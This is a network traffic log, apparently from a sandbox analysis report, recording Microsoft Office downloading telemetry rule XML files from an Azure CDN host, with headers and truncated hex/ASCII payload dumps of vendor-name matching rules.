2024-10-29 03:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:08 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031808Z-16849878b785jrf8dn0d2rczaw000000074g0000000085n6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:08 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:08 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031808Z-17c5cb586f6wnfhvhw6gvetfh400000005b000000000d32n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:08 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:08 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4814b401-401e-005b-1e73-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031808Z-r197bdfb6b4d9xksru4x6qbqr00000000610000000005uch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:08 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:08 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:08 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ad4459d7-101e-007a-6a4c-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031808Z-16849878b78tg5n42kspfr0x4800000005vg00000000q4b6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:08 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:08 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:08 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031808Z-16849878b787bfsh7zgp804my400000004rg00000000bghx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:08 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e1f5471d-e01e-0051-4f6c-2784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-15b8d89586fpccrmgpemqdqe5800000000x00000000034u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:09 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78sx229w7g7at4nkg000000047g0000000071kw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:09 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b786jv8w2kpaf5zkqs00000004r000000000sk36 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:09 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:09 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78hh85qc40uyr8sc8000000066g00000000e8y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78nx5sne3fztmu6xc00000006xg00000000b5zr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: f9fbd553-601e-003e-5c2e-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78qf2gleqhwczd21s000000065000000000aww9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:09 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:09 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031809Z-16849878b78bcpfn2qf7sm6hsn00000007hg00000000e1ar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

